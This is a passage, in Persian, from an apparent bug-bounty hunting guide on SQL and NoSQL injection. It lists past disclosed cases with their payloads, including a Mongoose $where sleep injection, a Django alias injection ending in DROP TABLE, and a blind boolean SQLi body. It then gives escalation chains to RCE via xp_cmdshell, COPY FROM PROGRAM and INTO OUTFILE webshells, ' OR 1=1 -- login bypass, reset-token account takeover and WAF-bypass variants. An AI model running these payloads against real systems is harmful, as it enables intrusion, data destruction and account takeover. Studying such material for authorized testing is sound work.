  • ‏‏Payload: Model.find().populate({path:'author', match:{$where:"sleep(5000) || true"}}) — JSON کنترل‌شده‌ی مهاجم فوروارد به populate({match}) به $where مربوط به MongoDB می‌رسید و JavaScript دلخواه سمت‌سرور اجرا می‌کرد ← exfil کور + DoS
  • ‏علت ریشه‌ای: Mongoose < 8.8.3 مقدار $where را داخل فیلتر match حذف نمی‌کرد؛ توسعه‌دهندگان امنیت در سطح ORM را فرض کرده بودند
  • ‏سال: ۲۰۲۴ — گزارش‌شده از طریق پروژه‌ی Mongoose / GitHub Security Lab IBB
  1. ‏Django — تزریق SQL در JSONField مربوط به QuerySet.values() ‏(CVE-2024-42005) ‏(H1 #2646493 · Commit)
  • ‏زیرکلاس: SQLi در فروگمنت خام ORM ‏(Django ORM — تزریق column-alias)
  • ‏‏Payload: Item.objects.values('data__"); DROP TABLE x;--') — کلید JSON-path ساختگی (پاس‌شده به‌عنوان *args از پارامتر request) بدون escape به‌عنوان alias ستون SQL استفاده می‌شد؛ .values() خروجی SELECT (data->>'…') AS "…"; DROP TABLE x;--" تولید می‌کرد
  • ‏علت ریشه‌ای: Django مقدار alias ستونِ مشتق از رشته‌های کلید JSONField ارائه‌شده‌ی کاربر را بدون کوتیشن emit می‌کرد؛ فرض شد مقادیر alias همیشه کنترل‌شده‌ی توسعه‌دهنده‌اند
  • ‏سال: ۲۰۲۴ — CVSS 9.8، گزارش‌شده توسط Eyal Gabay ‏(EyalSec) از طریق برنامه‌ی HackerOne مربوط به Django ← جایزه‌ی IBB
  1. ‏Mozilla — SQLi کور مبتنی‌بر boolean روی endpoint مربوط به invite در mozilla.social ‏(H1 #2209130)
  • ‏زیرکلاس: SQLi کور مبتنی‌بر boolean روی endpoint مجاور-احراز-هویت
  • ‏‏Payload: POST /invite {"code":"abc' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"} — تمایز boolean بین «کد نامعتبر» و «کد پذیرفته‌شده، redirect صادر شد» امکان enumerate کردن schema/table روی بک‌اند Postgres مربوط به OIDC proxy را می‌داد
  • ‏علت ریشه‌ای: lookup مربوط به invite-code رشته‌ی SQL خام روی دیتابیس Postgres مربوط به proxy می‌ساخت؛ توسعه‌دهندگان فرض کردند کد کوتاه/مات است و bind کردن پارامتر را رد کردند
  • ‏سال: ۲۰۲۳ — باونتی H1 مربوط به Mozilla (مبلغ در افشا پنهان است)
اسکیل‌های مرتبط:
۱۱

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏hunt-rce — یک SQLi علیه کاربر DB با مجوزهای FILE، xp_cmdshell یا COPY FROM PROGRAM یک primitive مربوط به RCE است نه فقط خواندن داده. primitive زنجیره: SQLi مبتنی‌بر union در MSSQL ← EXEC xp_cmdshell 'whoami' ← RCE به‌عنوان NT AUTHORITY\SYSTEM؛ SQLi در Postgres با pg_read_server_files یا COPY ... FROM PROGRAM 'id' ← RCE؛ SQLi در MySQL با FILE ← نوشتن webshell در web-root از طریق INTO OUTFILE.
  • ‏‏hunt-idor — وقتی SQLi خواندن دلخواه روی جدول users می‌دهد، ID/UUIDهای لازم برای enumerate کردن endpointهای IDOR در مقیاس را داری. primitive زنجیره: SQLi کور ستون users.uuid را استخراج می‌کند ← UUIDها را به /api/users/{uuid}/profile بده ← IDOR-انبوه-با-PII تأییدشده به‌جای broken-access-control نظری.
  • ‏‏hunt-auth-bypass — ' OR 1=1 -- کلاسیک در فرم‌های login یا جدول‌های session همان auth-bypass-از-طریق-SQLi است. primitive زنجیره: SQLi روی جدول password_reset_tokens ← خواندن یا درج ردیف توکن برای admin@target.com ← ATO بدون دیدن رمز اصلی.
  • ‏‏security-arsenal — سراغ درخت payload مربوط به SQLi برو (واریانت‌های union برای دورزدن WAF /**/UnIoN/**/SeLeCt/**/، WAITFOR DELAY '0:0:10' در MSSQL، SLEEP(10) در MySQL، pg_sleep(10) در Postgres، DBMS_PIPE.RECEIVE_MESSAGE در Oracle، NoSQLi با {"$ne": null} / {"$where": "sleep(5000)"}، second-order از طریق فیلدهای ذخیره-سپس-رندرشده).
  • ‏‏triage-validation — پیش از گزارش، دروازه‌ی Reproducibility را اعمال کن. دلتای ۲۰۰ میلی‌ثانیه روی payload مربوط به sleep-10 نویز است نه SQLi کور. شواهد آماری لازم است (۵ آزمایش در ۰s در برابر ۵ آزمایش در ۱۰s با بازه‌های اطمینان غیرهم‌پوشان) یا callback مربوط به DNS مربوط به OOB با مارکر یکتا. الگوی sentinel/baseline داخلی hunt-sqli دقیقاً برای همین است.
مراحل استخراج‌شده
  1. ۱‏‏`hunt-idor` — وقتی SQLi خواندن دلخواه روی جدول users می‌دهد، ID/UUIDهای لازم برای enumerate کردن endpointهای IDOR در مقیاس را داری. primitive زنجیره: SQLi کور ستون `users.uuid` را استخراج می‌کند ← UUIDها را به `/api/users/{uuid}/profile` بده ← IDOR-انبوه-با-PII تأییدشده به‌جای broken-access-control نظری.
  2. ۲‏‏`hunt-auth-bypass` — `' OR 1=1 --` کلاسیک در فرم‌های login یا جدول‌های session همان auth-bypass-از-طریق-SQLi است. primitive زنجیره: SQLi روی جدول `password_reset_tokens` ← خواندن یا درج ردیف توکن برای `admin@target.com` ← ATO بدون دیدن رمز اصلی.
  3. ۳‏‏`security-arsenal` — سراغ درخت payload مربوط به SQLi برو (واریانت‌های union برای دورزدن WAF `//UnIoN//SeLeCt/**/`، `WAITFOR DELAY '0:0:10'` در MSSQL، `SLEEP(10)` در MySQL، `pg_sleep(10)` در Postgres، `DBMS_PIPE.RECEIVE_MESSAGE` در Oracle، NoSQLi با `{"$ne": null}` / `{"$where": "sleep(5000)"}`، second-order از طریق فیلدهای ذخیره-سپس-رندرشده).
  4. ۴‏‏`triage-validation` — پیش از گزارش، دروازه‌ی Reproducibility را اعمال کن. دلتای ۲۰۰ میلی‌ثانیه روی payload مربوط به sleep-10 نویز است نه SQLi کور. شواهد آماری لازم است (۵ آزمایش در ۰s در برابر ۵ آزمایش در ۱۰s با بازه‌های اطمینان غیرهم‌پوشان) یا callback مربوط به DNS مربوط به OOB با مارکر یکتا. الگوی sentinel/baseline داخلی hunt-sqli دقیقاً برای همین است.